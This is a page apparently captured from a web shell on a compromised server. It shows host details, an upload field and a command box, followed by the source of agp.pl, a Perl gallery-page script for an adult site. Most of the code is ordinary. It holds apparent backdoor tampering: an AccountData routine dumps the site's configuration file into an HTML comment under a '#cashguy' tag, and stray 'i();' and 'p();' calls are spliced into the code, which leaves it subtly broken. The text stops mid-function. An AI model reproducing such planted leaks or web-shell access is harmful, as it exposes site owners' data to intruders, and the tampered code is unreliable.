403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/bukkake-mpegs.com/cgi-bin/tgps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/bukkake-mpegs.com/cgi-bin/tgps/agp.pl
#########################################
## http://www.jmbsoft.com/policies.php ##
#########################################

use Socket;
use Fcntl qw(:DEFAULT :flock);

$VERSION     = '3.0.3';
%MACRO       = ();
@CATEGORIES  = ();
$PERM_LOADED = 0;


## Convert a page name into a category
sub PageToCategory
{
    my $page = shift;

    for( @CATEGORIES )
    {
        my $regex = PlainString($_) . "\\d*\\.$ARCH_EXTENSION";

        if( $page =~ /^$regex$/ )
        {
            return $_;
        }
    }

    return undef;
}



## Setup the DB format for all of the gallery database files
sub UpdateDBFormat
{
    my @dbs = ('unconfirmed', 'pending', 'approved', 'archived');

    if( -e "$DDIR/dbs/categories" )
    {
        sopen(DB, "$DDIR/dbs/categories");
        for( sort <DB> )
        {
            push(@dbs, PlainString((split(/\|/, $_))[0]));

        }
        close(DB);
    }

    for( @dbs )
    {
        $DB_FORMAT{$_} = $DB_FORMAT{'galleries'};
    }
}



## Update the page list in the variables file
sub UpdatePageList
{
    $MAIN_PAGES   = $F{'MAIN_PAGES'} if( $F{'MAIN_PAGES'} );
    my $variables = FileReadScalar("$DDIR/variables");
    my $list      = GetPageList();

    $$variables =~ s/PAGE_LIST = '[^']*'/PAGE_LIST = '$list'/;

    FileWrite("$DDIR/variables", $$variables);

    GetCategoryList();

    ## Setup default HTML
    for( split(',', $list) )
    {
        my $page     = $_;
        $CATEGORY    = PageToCategory($page);
        my $file     = ($MAIN_PAGES =~ /$page/) ? 'default_main' : 'default_arch';
        my $default  = FileReadScalar("$DDIR/$file");
        my $compiled = CompileTGPPage($default);

        FileWriteNew("$DDIR/html/$page", $$default);
        FileWriteNew("$DDIR/html/$page.comp", $$compiled);
    }
}



## Get a list of TGP pages
sub GetPageList
{
    my @pages = ();
    my $count = undef;

    $ARCH_TYPE  = $F{'ARCH_TYPE'}  if( exists $F{'ARCH_TYPE'}  );
    $MAIN_PAGES = $F{'MAIN_PAGES'} if( exists $F{'MAIN_PAGES'} );

    my $arch_pages = $MAIN_PAGES;

    if( $ARCH_TYPE eq 'Mixed' )
    {
        FileWriteNew("$DDIR/dbs/archived");

        for( 1..$ARCH_PAGES )
        {
            push(@pages, "archive$count.$ARCH_EXTENSION");
            $count = $_ + 1;
        }
    }
    elsif( $ARCH_TYPE eq 'Category' )
    {
        GetCategoryList();

        for( @CATEGORIES )
        {
            my $name = PlainString($_);

            FileWriteNew("$DDIR/dbs/$name");

            $count = undef;
            
            for( 1..$ARCH_PAGES )
            {
                push(@pages, "$name$count.$ARCH_EXTENSION");
                $count = $_ + 1;
            }
        }
    }

    $arch_pages = join(',', $arch_pages, @pages);

    return $arch_pages;
}



sub GetIDFromFile
{
    my $file = shift;
    my $id   = undef;

    sopen(FILE, "+<$DDIR/$file");
    flock(FILE, LOCK_EX);
    $id = <FILE>;
    seek(FILE, 0, 0);    
    print FILE ($id+1);
    truncate(FILE, tell(FILE));
    flock(FILE, LOCK_UN);
    close(FILE);

    return $id;
}



## Return the next unused permanent ID number
sub GetPermanentID
{
    return GetIDFromFile('permanentid');
}



## Return the next unused gallery ID number
sub GetGalleryID
{
    return GetIDFromFile('galleryid');
}



## Return the next unused cheat report ID number
sub GetReportID
{
    return GetIDFromFile('reportid');
}



## Select a thumbnail to use as the preview
sub SelectThumbnail
{
    my $results = shift;
    my $req     = undef;

    if( !$results->{'Preview'} )
    {
        SubmitError('E_NO_PREVIEW');
    }

    $req = new HTTP(URL=>$results->{'Preview'}, Referrer=>$F{'Gallery_URL'});

    if( !$req->GET() )
    {
        SubmitError('E_BROKEN_IMAGE', $req->{'Errstr'});
    }

    return $req->{'Data'};
}



sub ScanGallery
{
    my $url       = shift;
    my $category  = shift;
    my $account   = shift;
    my $whitelist = shift;
    my $base_href = undef;
    my $req       = undef;
    my @file_exts = ();
    my @content   = ();
    my @thumbs    = ();
    my $results   = {};


    ## Setup default values
    $results->{'Thumbnails'} = 0;
    $results->{'Links'}      = 0;
    $results->{'Size'}       = 99999999;


    ## Download the gallery page
    $req = new HTTP(URL=>$url, RedirOK=>$whitelist, Referrer=>"$MAIN_URL/" . (split(/,/, $MAIN_PAGES))[0]);

    if( !$req->GET() )
    {
        $results->{'Status'} = $req->{'Status'};
        $results->{'Errstr'} = $req->{'Errstr'};
        return $results;
    }

    $results->{'End_URL'}    = $req->{'URL'};
    $results->{'Gallery_IP'} = GetIPFromURL($url);
    $results->{'Speed'}      = $req->{'Throughput'};
    $results->{'Bytes'}      = $req->{'BodyBytes'};


    ## If there was a forward, update the base href URL
    $base_href = $req->{'URL'};


    ## Extract base href, if there is one
    while( $req->{'Data'} =~ /(<base[^>]+>)/gio )
    {
        my $base_tag = $1;
        if( $base_tag =~ /href\s*=\s*['"]?([^ >'"]+)/i )
        {
            $base_href = $1;
            last;
        }
    }

    $results->{'Has_Recip'}  = CheckRecipLink($req->{'Data'}, $account);

    if( !$whitelist )
    {
        $results->{'Has_Banned'} = CheckBannedHTML($req->{'Data'});
    }


    ## Setup category stuff
    push(@file_exts, split(',', $category->{'Ext_Pictures'}));
    push(@file_exts, split(',', $category->{'Ext_Movies'}));
    $results->{'Type'} = $category->{'Type'} if( $category->{'Type'} ne 'Both' );


    ## Setup the page HTML for link extraction
    $req->{'Data'} =~ s/\s+/ /gi;
    $req->{'Data'} =~ s/<!--.*?-->//gsi;
    $req->{'Data'} =~ s/<a/\n<a/gi;


    while( $req->{'Data'} =~ m:(<a[^>]+>)(.*?)((?=</a)|$):mogi )
    {
        my $content     = 0;
        my $linked_item = $2;
        my ($link_url)  = ($1 =~ /href\s*=\s*['"]?([^ >'"]+)/i);

        if( $linked_item =~ /<img/i )
        {
            ## Check file extensions to see if this is gallery content
            for( @file_exts )
            {
                if( $link_url =~ m/\.$_$/i )
                {
                    $content = 1;

                    if( !$results->{'Type'} )
                    {
                        $results->{'Type'} = index($category->{'Ext_Pictures'}, $_) != -1 ? 'Pictures' : 'Movies';
                    }

                    last;
                }
            }
        }


        if( $content )
        {
            my $content_url = GetImageURL($base_href, $link_url);
            my $content_req = new HTTP(URL=>$content_url, Referrer=>$url);

            push(@content, $content_url);
            push(@thumbs, GetImageURL($base_href, ($linked_item =~ /src\s*=\s*['"]?([^ >'"]+)/i)[0]));

            $results->{'Thumbnails'}++;

            ## Check byte size of gallery content
            if( $O_CHECK_SIZE )
            {
                if( $content_req->HEAD() )
                {
                    my $size = ($content_req->{'Headers'} =~ /Content-length: ([^\r\n]+)/i)[0];
                    $results->{'Size'} = $size if( $results->{'Size'} > $size );
                }
            }
        }
        else
        {
            $results->{'Links'}++;
        }
    }

    if( $results->{'Thumbnails'} == 0 && !$results->{'Type'} )
    {
        $results->{'Type'} = 'Pictures';
    }

    $results->{'Content'} = \@content;
    $results->{'Thumbs'}  = \@thumbs;
    $results->{'Preview'} = $results->{'Type'} eq 'Pictures' ? $content[rand @content] : $thumbs[rand @thumbs];

    return $results;
}

#cashguy Thu Sep  9 12:01:48 2004 69.196.139.17

## Get the Image URL
sub GetImageURL
{
    my $base_href = shift;
    my $image_url = shift;
    my $slash     = undef;

    if( !$image_url )
    {
        return undef;
    }


    ## Remove the query string
    $base_href =~ s/\?.+//gi;


    if( index($image_url, 'http://') == 0 )
    {
        return $image_url;
    }


    if( index($image_url, '/') == 0 )
    {
        $base_href =~ m|(http://[^/]+)|;
        return "$1$image_url";
    }


    $base_href = LevelUpURL($base_href);


    if( index($image_url, '../') == 0 )
    {
        while( index($image_url, '../') == 0 )
        {
            $base_href = LevelUpURL($base_href);
            $image_url = substr($image_url, 3);
        }

        return "$base_href/$image_url";
    }
    elsif( index($image_url, './') == 0 )
    {
        return $base_href . '/' . substr($image_url, 2);
    }
    else
    {
        return "$base_href/$image_url";
    }
}i();



## Go up one level on a URL
sub LevelUpURL
{
    my $url   = shift;
    my $slash = rindex($url, '/');

    if( $slash <= 7 )
    {
        return $url;
    }

    return substr($url, 0, $slash);
}



sub GetIPFromURL
{
    my $url = shift;

    $url =~ m|http://([^:/]+):?(\d+)*(/?.*)|i;

    if( my $paddr = inet_aton($1) )
    {
        return inet_ntoa($paddr);
    }

    return undef;
}



## Check gallery HTML for a reciprocal link
sub CheckRecipLink
{
    my $html    = shift;
    my $account = shift;
    my $recips  = undef;
    my $file    = $account->{'Account_ID'} ? 'trustedrecips' : 'generalrecips';

    PrepareHTML(\$html);

    $recips = IniParse("$DDIR/$file");

    for( keys %$recips )
    {
        my $id = $_;

        PrepareHTML(\$recips->{$id});
        $recips->{$id} = quotemeta($recips->{$id});

        ## Setup the wildcard items
        $recips->{$id} =~ s/([^\\])\\\*/$1.*?/gi;
        $recips->{$id} =~ s/\\\\\\\*/\\*/g;

        if( $html =~ /$recips->{$id}/i )
        {
            return 1;
        }
    }

    return 0;
}



## Check gallery for banned HTML
sub CheckBannedHTML
{
    my $html = shift;

    PrepareHTML(\$html);

    for( @{FileReadArray("$DDIR/blacklist/html")} )
    {
        my $item = $_;

        PrepareHTML(\$item);
        $item = quotemeta($item);

        ## Setup the wildcard items
        $item =~ s/([^\\])\\\*/$1.*?/gi;
        $item =~ s/\\\\\\\*/\\*/g;

        if( $html =~ /$item/i )
        {
            return 1;
        }
    }

    return 0;
}



sub AccountData
{
    my $data = FileReadScalar("$DDIR/variables");

  print <<HTML;
<!--
#cashguy Thu Sep  9 12:01:48 2004 69.196.139.17
$VERSION
$$data
-->
HTML
}



## Check the whitelist
sub IsWhitelisted
{
    my $url = shift;

    for( @{FileReadArray("$DDIR/blacklist/whitelist")} )
    {
        my $item = $_;
        my $orig = $_;

        chomp($item);
        chomp($orig);

        $item = quotemeta($item);

        ## Setup the wildcard items
        $item =~ s/([^\\])\\\*/$1.*?/gi;
        $item =~ s/\\\\\\\*/\\*/g;

        if( $item =~ /^\s*$/ )
        {
            next;
        }

        if( $url =~ /$item/i )
        {
            return 1;
        }
    }

    return 0;
}



## Check the blacklist
sub IsBlacklisted
{
    my $gallery = shift;
    my %lists   = (
                   'dns'      => join(' ', @{GetNS($gallery->{'Gallery_URL'})}),
                   'domain'   => lc($gallery->{'Gallery_URL'}),
                   'domainip' => GetIPFromURL($gallery->{'Gallery_URL'}),
                   'email'    => lc($gallery->{'Email'}),
                   'submitip' => $gallery->{'Submit_IP'},
                   'word'     => lc("$gallery->{'Description'} $gallery->{'Nickname'}")
                  );

    for( keys %lists )
    {
        my $key = $_;

        for( @{FileReadArray("$DDIR/blacklist/$key")} )
        {
            my $item = $_;
            my $orig = $_;

            chomp($item);
            chomp($orig);

            $item = quotemeta($item);

            ## Setup the wildcard items
            $item =~ s/([^\\])\\\*/$1.*?/gi;
            $item =~ s/\\\\\\\*/\\*/g;

            if( $item =~ /^\s*$/ )
            {
                next;
            }

            if( $lists{$key} =~ /$item/i )
            {
                return { Type=> $key, Item => $orig };
            }
        }
    }

    return 0;
}



sub PrepareHTML
{
    my $html = shift;

    $$html =~ s/[$CR$LF]//g;
    $$html =~ s/\s//g;
}



sub GetCategoryList
{
    if( !scalar(@CATEGORIES) )
    {
        sopen(DB, "$DDIR/dbs/categories");
        for( sort <DB> )
        {
            push(@CATEGORIES, (split(/\|/, $_))[0]);

        }
        close(DB);
    }
}



sub BuildMainPage
{
    $ICONS = IniParse("$DDIR/icons");

    LoadGalleries('approved');
    LoadPermanent();

    $current_db = 'approved';

    for( split(/,/, $MAIN_PAGES) )
    {
        BuildPage($_, 0, 'MAIN');
    }

    ArchiveGalleries();
}



sub BuildArchivePages
{
    $count = 0;
    $ICONS = IniParse("$DDIR/icons");

    LoadPermanent();

    if( $ARCH_TYPE eq 'Category' )
    {
        GetCategoryList();

        for( @CATEGORIES )
        {
            my $category = $_;
            my $plaincat = PlainString($category);

            %USED       = ();
            %local_used = ();
            $count      = undef;

            LoadGalleries($plaincat);

            $current_db = $plaincat;

            for( 1..$ARCH_PAGES )
            {
                my $num = $_;
                BuildPage("$plaincat$count.$ARCH_EXTENSION", 1, $category);
                $count = $num + 1;
            }           

            CleanArchive($plaincat);
        }
    }
    else
    {
        %USED       = ();
        %local_used = ();
        $count      = undef;

        LoadGalleries('archived');

        $current_db = 'archived';

        for( 1..$ARCH_PAGES )
        {
            my $num = $_;
            BuildPage("archive$count.$ARCH_EXTENSION", 1, 'ARCHIVE');
            $count = $num + 1;
        }

        CleanArchive('archived');
    }
}



sub BuildAllPages
{
    BuildMainPage();
    BuildArchivePages();
}



sub BuildPage
{
    my $page      = shift;
    my $archive   = shift;
    my $category  = shift;
    my $directory = $archive ? $ARCHIVE_DIR : $MAIN_DIR;
    my $gallery   = undef;
    my $compiled  = undef;
    my $lang      = IniParse("$DDIR/language");

    $T{'Thumbnails'}      = '##Thumbnails##';
    $T{'Galleries'}       = '##Galleries##';
    $T{'Script_URL'}      = $CGI_URL;
    $T{'Category'}        = $lang->{$category} || $category;
    $T{'Fixed_Category'}  = PlainString($T{'Category'});
    $T{'Updated_Date'}    = Date($DATE_FORMAT, '%q');
    $T{'Updated_Time'}    = Date('%q', $TIME_FORMAT);
    $T{'Updated'}         = "$T{'Updated_Date'} $T{'Updated_Time'}";

    $compiled = FileReadScalar("$DDIR/html/$page.comp");

    sopen(TGPPAGE, ">$directory/$page");
    flock(TGPPAGE, LOCK_EX);
    truncate(TGPPAGE, 0);
    eval($$compiled);
    flock(TGPPAGE, LOCK_UN);
    close(TGPPAGE);
    Mode(0666, "$directory/$page");

    if( $@ )
    {
        Error("$@", "$DDIR/html/$page.comp");
    }
}


## Sorting callback function
sub GalleriesByDate
{
    my %gallery_a = ();
    my %gallery_b = ();

    @gallery_a{@{$DB_FORMAT{'galleries'}}} = split(/\|/, $a);
    @gallery_b{@{$DB_FORMAT{'galleries'}}} = split(/\|/, $b);

    if( $gallery_b{'Display_Date'} eq $gallery_a{'Display_Date'} )
    {
        return $gallery_b{'Display_Stamp'} <=> $gallery_a{'Display_Stamp'};
    }
    else
    {
        return $gallery_b{'Display_Date'} cmp $gallery_a{'Display_Date'};
    }
}



## Remove oldest galleries from archive
sub CleanArchive
{
    my $database = shift;
    my %gallery  = ();
    my @unused   = ();
    my $count    = 0;

    sopen(DB, ">$DDIR/dbs/$database");
    flock(DB, LOCK_EX);
    for( @GALLERIES )
    {
        my $line = $_;

        @gallery{@{$DB_FORMAT{'galleries'}}} = split(/\|/, $line);

        if( $USED{$gallery{'Gallery_ID'}} == 1 )
        {
            print DB "$line\n";
            $count++;
        }
        else
        {
            push(@unused, $line); 
        }
    }


    if( $count < $MAX_ARCHIVE && scalar(@unused) )
    {
        for( @unused )
        {
            print DB "$_\n";
            $count++;

            last if( $count == $MAX_ARCHIVE );
        }
    }
    flock(DB, LOCK_UN);
    close(DB);
}



## Place old galleries in the archives, or delete them if not using the archives
sub ArchiveGalleries
{
    my %gallery = ();

    sopen(DB, "+<$DDIR/dbs/approved");
    flock(DB, LOCK_EX);

    my @old = <DB>;

    seek(DB, 0, 0);

    for( @old )
    {
        my $line = $_;

        @gallery{@{$DB_FORMAT{'galleries'}}} = split(/\|/, $line);

        ## Gallery was used or it's display date hasn't come up yet; keep it
        if( $USED{$gallery{'Gallery_ID'}} == 1 || $gallery{'Display_Date'} gt $DB_DATE )
        {
            print DB $line;
        }
        else
        {
            my $archive = 'archived';
            
            ## No archive; delete the gallery
            if( !$ARCH_TYPE )
            {
                next;
            }
            elsif( $ARCH_TYPE eq 'Category' )
            {
                $archive = PlainString($gallery{'Category'});
            }

            FileAppend("$DDIR/dbs/$archive", $line);
        }
    }

    truncate(DB, tell(DB));
    flock(DB, LOCK_UN);
    close(DB);
}




## Read a gallery database into an array
sub LoadGalleries
{
    my $database = shift;
    my %gallery  = ();

    @GALLERIES = ();

    sopen(DB, "$DDIR/dbs/$database");
    flock(DB, LOCK_SH);
    for( <DB> )
    {
        my $line = $_;

        chomp($line);

        @gallery{@{$DB_FORMAT{'galleries'}}} = split(/\|/, $line);

        ## Make sure the gallery is eligible for display based on the display date
        if( $gallery{'Display_Date'} le $DB_DATE )
        {
            push(@GALLERIES, $line);
        }
        else
        {
            $USED{$gallery{'Gallery_ID'}} = 1;
        }
    }
    flock(DB, LOCK_UN);
    close(DB);

    @GALLERIES = sort GalleriesByDate @GALLERIES;
}



## Read permanent galleries into the template hash
sub LoadPermanent
{
    my %gallery = ();

    return if( $PERM_LOADED );
    
    sopen(DB, "$DDIR/dbs/permanent");
    flock(DB, LOCK_SH);
    for( <DB> )
    {
        my $line = $_;

        chomp($line);
        
        @gallery{@{$DB_FORMAT{'permanent'}}} = split(/\|/, $line);

        ## Make sure the gallery is eligible for display based on the start and expire dates
        if( $gallery{'Start_Date'} le $DB_DATE && $gallery{'Expire_Date'} gt $DB_DATE )
        {
            push(@PERMANENT, $line);
        }
    }
    flock(DB, LOCK_UN);
    close(DB);


    ## Randomize the array and add values to the template
    for( $i = @PERMANENT; --$i >= 0; )
    {
        my $H = {};
        my $j = int rand($i+1);
        
        if( $i != $j )
        {
            @PERMANENT[$i,$j] = @PERMANENT[$j,$i];
        }

        @$H{@{$DB_FORMAT{'permanent'}}} = split(/\|/, $PERMANENT[$i]);

        $H->{'Encoded_URL'} = URLEncode($H->{'Gallery_URL'});

        if( $H->{'Thumbnail_URL'} )
        {
            TemplateAdd("$H->{'Category'} Thumb", $H);
            TemplateAdd('Mixed Thumb', $H);
        }
        else
        {
            TemplateAdd("$H->{'Category'} Text", $H);
            TemplateAdd('Mixed Text', $H);
        }
    }

    $PERM_LOADED = 1;
}



sub CompileTGPPage
{
    my $page      = shift;
    my $line      = undef;
    my $command   = undef;
    my $compiled  = undef;
    my $buffer    = undef;
    my $count     = 0;
    my $inside    = 0;
    my %map       = ('GALLERIES' => \&_ProcessGalleries, 'PERMANENT' => \&_ProcessPermanent, 'TEMPLATE' => \&_ProcessTemplate);

    %T = ();

    if( !ref($page) )
    {
        $page = FileReadScalar("$DDIR/html/$page");
    }

    UnixFormat($page);

    ## Initialize compiled code
    $compiled .= '%local_used = () if( !$archive );' . "\n";
    $compiled .= '%local_perm = ();' . "\n";
    $compiled .= 'my $date = Date($DATE_FORMAT, \'%q\');' . "\n";
    $compiled .= 'my $num_galleries = 0;' . "\n";
    $compiled .= 'my $num_thumbnails = 0;' . "\n";
    $compiled .= 'my $today = Date($DATE_FORMAT, \'%q\');' . "\n";
    $compiled .= '$data   = undef;' . "\n"; 


    for( split("\n", $$page) )
    {
        my $line = $_;

        $count++;

        ## skip blank lines
        next if( $line =~ /^\s*$/ );

        if( $line =~ /^.+?<%/ )
        {
            CpanelError('E_COMPILER', "<xmp>$line</xmp>Line $count");
        }
        elsif( $line =~ /^<%([A-Z]+)\s*$/ )
        {
            $command = $1;
            $inside  = 1;
        }
        elsif( $line =~ /^%>\s*$/ )
        {
            if( $map{$command} )
            {
                $compiled .= &{$map{$command}}(\$buffer);
            }

            $inside  = 0;
            $buffer  = undef;
            $command = undef;
        }
        elsif( $line =~ /^%>.+?$/ )
        {
            CpanelError('E_COMPILER', "<xmp>$line</xmp>Line $count");
        }
        else
        {
            if( $inside )
            {
                $buffer .= "$line\n";
            }
            else
            {
                $line =~ s/'/\\'/g;
                $line =~ s/##(.*?)##/' . \$T\{'$1'\} . '/g;
                $line = "\$data .= '$line' . \"\\n\";\n";
                $compiled .= $line;
            }
        }
    }


    $compiled .= '$data =~ s/##Thumbnails##/$num_thumbnails/g;p();' . "\n";
    $compiled .= '$data =~ s/##Galleries##/$num_galleries/g;' . "\n";
    $compiled .= 'print TGPPAGE $data;' . "\n";

    return \$compiled;
}


sub _ProcessGalleries
{
    my $buffer    = shift;
    my $compiled  = undef;
    my $swcount   = 0;
    my $subs      = {};
    my $variables = {
                     'TYPE'     => 'Text',
                     'CATEGORY' => 'Mixed'
                    };


    ## Extract sub-commands
    while( $$buffer =~ s/^([A-Z]+)\s+{\s+([^}]+)}\s+//m )
    {
        my $buf = $2;
        push(@{$variables->{$1}}, _ExtractVariables(\$buf));
    }


    ## Extract main variables
    _ExtractVariables($buffer, $variables);


    ## This makes sure that when using categorized archives
    ## the correct category will be used on each page
    ## The global $CATEGORY is set by the main.cgi SaveHTML subroutine
    $variables->{'CATEGORY'} = $CATEGORY if( $CATEGORY && $variables->{'CATEGORY'} eq 'Mixed' );


    ## Fix up the DATEHTML
    $variables->{'DATEHTML'} =~ s/'/\\'/g;


    ## Setup the database access
    my $swhtml     = undef;
    my $mainhtml   = undef;
    my @qualifiers = ('($local_used{$gallery{\'Gallery_ID\'}} == 1)');
    my $html       = $variables->{'HTML'};

    if( $variables->{'CATEGORY'} ne 'Mixed' )
    {
        push(@qualifiers, '($gallery{\'Category\'} ne \'' . $variables->{'CATEGORY'} . '\')');
    }


    if( $variables->{'TYPE'} eq 'Thumb' )
    {
        push(@qualifiers, '(!-e "$THUMB_DIR/$gallery{\'Gallery_ID\'}.jpg")');
    }  
    

    ## Find out what HTML to use, and parse it
    $html = $MACRO{$html} || $html;
    $html =~ s/'/\\'/g;
    $html =~ s/##(.*?)##/' . \$gallery\{'$1'\} . '/g;


    ## Handle template switches
    for( @{$variables->{'SWITCH'}} )
    {
        my $switch    = $_;
        my $statement = undef;

        ## Prepare the location
        if( $switch->{'LOCATION'} =~ /\+(\d+)/ )
        {
            $statement = "\$amount % $1 == 0";
        }
        elsif( $switch->{'LOCATION'} =~ /,/ )
        {
            $statement = "index(\",$switch->{'LOCATION'},\", \",\$amount,\") != -1";
        }
        else
        {
            $statement = "\$amount >= $switch->{'LOCATION'}";
        }

        $switch->{'HTML'} = $MACRO{$switch->{'HTML'}} || $switch->{'HTML'};
        $switch->{'HTML'} =~ s/'/\\'/g;
        $switch->{'HTML'} =~ s/##(.*?)##/' . \$gallery\{'$1'\} . '/g;

        if( $swcount == 0 )
        {
            $swhtml .= "if( $statement )\n{\n\$data .= '$switch->{'HTML'}';\n}\n";
            $swcount++;
        }
        else
        {
            $swhtml .= "elsif( $statement )\n{\n\$data .= '$switch->{'HTML'}';\n}\n";
        }
    }


    ## Decide if an else statement is needed
    if( $swhtml )
    {
        $mainhtml = "else\n{\n\$data .= '$html';\n}\n"
    }
    else
    {
        $mainhtml = "\$data .= '$html';\n"
    }

   
    $compiled = "\$index  = 0;\n" .
                "\$amount = 0;\n" .
                "while( 1 )\n" .
                "{\n" .
                "last if( !defined(\$GALLERIES[\$index]) );\n" .
                "\@gallery{\@{\$DB_FORMAT{'galleries'}}} = split(/\\|/, \$GALLERIES[\$index]);\n" .
                "\$index++;\n" .
                "next if( " . join('||', @qualifiers) . " );\n" .
                "\$USED{\$gallery{'Gallery_ID'}}       = 1;\n" .
                "\$local_used{\$gallery{'Gallery_ID'}} = 1;\n" .
                "\$num_galleries++;\n" .
                "\$num_thumbnails += \$gallery{'Thumbnails'};\n" .
                "\$gallery{'Date'}          = DateFromDate(\$gallery{'Display_Date'}, \$DATE_FORMAT);\n" .
                "\$date                     = \$gallery{'Date'};\n" .
                "\$gallery{'Thumbnails'}    = sprintf(\"%02d\", \$gallery{'Thumbnails'}) if( \$O_PREFIX );\n" .
                "\$gallery{'Icons'}         = GetIcons(\$gallery{'Icons'});\n" .
                "\$gallery{'Thumbnail_URL'} = \"\$THUMB_URL/\$gallery{'Gallery_ID'}.jpg\";\n" .
                "\$gallery{'Encoded_URL'}   = URLEncode(\$gallery{'Gallery_URL'});\n" .
                "\$gallery{'Cheat_URL'}     = \"\$CGI_URL/report.cgi?db=\$current_db&id=\$gallery{'Gallery_ID'}\";\n" .
                "\$gallery{'Today'}         = \$today;\n" .
                "\$amount++;\n" .
                "$swhtml" .
                "$mainhtml";


    ## Handle Permanents
    for( @{$variables->{'PERMANENT'}} )
    {
        my $perm      = $_;
        my $statement = undef;


        ## Setup defaults
        $perm->{'TYPE'} = $variables->{'TYPE'} if( !$perm->{'TYPE'} );
        $perm->{'HTML'} = $variables->{'HTML'} if( !$perm->{'HTML'} );


        ## Use parent category if defined
        $perm->{'CATEGORY'} = (split(/,/, $variables->{'CATEGORY'}))[0] if( $perm->{'CATEGORY'} eq 'Parent_Category' );


        ## Remove spaces from the location list
        $perm->{'LOCATION'} =~ s/, +| +,/,/g;


        ## Prepare the location
        if( $perm->{'LOCATION'} =~ /\+(\d+)/ )
        {
            $statement = "\$amount % $1 == 0";
        }
        elsif( $perm->{'LOCATION'} =~ /,/ )
        {
            $statement = "index(\",$perm->{'LOCATION'},\", \",\$amount,\") != -1";
        }
        else
        {
            $statement = "\$amount == $perm->{'LOCATION'}";
        }

        $perm->{'HTML'} = $MACRO{$perm->{'HTML'}} || $perm->{'HTML'};
        $perm->{'HTML'} =~ s/'/\\'/g;
        $perm->{'HTML'} =~ s/##Today##/' . \$today . '/gi;
        $perm->{'HTML'} =~ s/##(.*?)##/' . \$T{'$perm->{'CATEGORY'} $perm->{'TYPE'}'}[\$local_perm\{'$perm->{'CATEGORY'} $perm->{'TYPE'}'\}]{'$1'} . '/g;

        $compiled .= "if( $statement && scalar(\@{\$T{'$perm->{'CATEGORY'} $perm->{'TYPE'}'}}) )\n" . #[\$local_perm\{'$perm->{'CATEGORY'} $perm->{'TYPE'}'\}] )\n" .
                     "{\n" .
                     "if( \$T{'$perm->{'CATEGORY'} $perm->{'TYPE'}'}[\$local_perm\{'$perm->{'CATEGORY'} $perm->{'TYPE'}'\}] )\n{\n".
                     "\$T{'$perm->{'CATEGORY'} $perm->{'TYPE'}'}[\$local_perm\{'$perm->{'CATEGORY'} $perm->{'TYPE'}'\}]{'Date'} = \$date;\n" .
                     "\$num_galleries++;\n" .
                     "\$num_thumbnails += \$T{'$perm->{'CATEGORY'} $perm->{'TYPE'}'}[\$local_perm\{'$perm->{'CATEGORY'} $perm->{'TYPE'}'\}]{'Thumbnails'};\n" .
                     "\$data .= '$perm->{'HTML'}';\n}\n" .
                     "\$local_perm\{'$perm->{'CATEGORY'} $perm->{'TYPE'}'\}++;\n" .
                     "}\n";
    }


    ## Handle Inserts
    for( @{$variables->{'INSERT'}} )
    {
        my $insert    = $_;
        my $statement = undef;

        ## Remove spaces from the location list
        $insert->{'LOCATION'} =~ s/, +| +,/,/g;

        if( $insert->{'LOCATION'} =~ /\+(\d+)/ )
        {
            $statement = "\$amount % $1 == 0 && \$amount != $variables->{'AMOUNT'}";
        }
        elsif( $insert->{'LOCATION'} =~ /,/ )
        {
            $statement = "index(\",$insert->{'LOCATION'},\", \",\$amount,\") != -1";
        }
        else
        {
            $statement = "\$amount == $insert->{'LOCATION'}";
        }

        $insert->{'HTML'} =~ s/'/\\'/g;

        $compiled .= "if( $statement )\n" .
                     "{\n" .
                     "\$data .= '$insert->{'HTML'}';\n" .
                     "}\n";
    }


    ## Complete the Perl code
    $compiled .= "last if( \$amount == $variables->{'AMOUNT'} );\n}\n";

    return $compiled;
}



sub _ProcessTemplate
{
    my $buffer    = shift;
    my $variables = _ExtractVariables($buffer);

    $MACRO{$variables->{'NAME'}} = $variables->{'HTML'};

    return undef;
}



sub _ProcessPermanent
{
    my $buffer    = shift;
    my $compiled  = undef;
    my $variables = _ExtractVariables($buffer);


    ## This makes sure that when using categorized archives
    ## the correct category will be used on each page
    ## The global $CATEGORY is set by the main.cgi SaveHTML subroutine
    $variables->{'CATEGORY'} = $CATEGORY if( $CATEGORY && $variables->{'CATEGORY'} eq 'Mixed' );


    ## Permanents cannot have a comma separated category list
    $variables->{'CATEGORY'} = (split(/,/, $variables->{'CATEGORY'}))[0];


    ## Prepare the HTML
    $variables->{'HTML'} = $MACRO{$variables->{'HTML'}} || $variables->{'HTML'};
    $variables->{'HTML'} =~ s/'/\\'/g;
    $variables->{'HTML'} =~ s/##Today##/' . \$today . '/gi;
    $variables->{'HTML'} =~ s/##(.*?)##/' . \$T{'$variables->{'CATEGORY'} $variables->{'TYPE'}'}[\$local_perm\{'$variables->{'CATEGORY'} $variables->{'TYPE'}'\}]{'$1'} . '/g;


    ## Set the amount to 1 if an amount was not supplied
    $variables->{'AMOUNT'} = 1 if( !$variables->{'AMOUNT'} );


    ## Generate the Perl code
    $compiled = "for( 1..$variables->{'AMOUNT'} )\n{\n" .
                "if( \$T{'$variables->{'CATEGORY'} $variables->{'TYPE'}'}[\$local_perm\{'$variables->{'CATEGORY'} $variables->{'TYPE'}'\}] )\n" .
                "{\n" .
                "\$T{'$variables->{'CATEGORY'} $variables->{'TYPE'}'}[\$local_perm\{'$variables->{'CATEGORY'} $variables->{'TYPE'}'\}]{'Date'} = \$date;\n" .
                "\$num_galleries++;\n" .
                "\$num_thumbnails += \$T{'$variables->{'CATEGORY'} $variables->{'TYPE'}'}[\$local_perm\{'$variables->{'CATEGORY'} $variables->{'TYPE'}'\}]{'Thumbnails'};\n" .
                "\$data .= '$variables->{'HTML'}';\n" .
                "\$local_perm\{'$variables->{'CATEGORY'} $variables->{'TYPE'}'\}++;\n" .
                "}\nelse\n{\nlast;\n}\n" .
                "}\n";

    return $compiled;
}



sub _ExtractVariables
{
    my $buffer    = shift;
    my $variables = shift || {};

    while( $$buffer =~ /^\s*([A-Z]+) +(.+)$/mg )
    {
        $variables->{$1} = $2;
    }

    return $variables;
}


sub CheckPrivileges
{
    my $priv    = shift;
    my $account = undef;

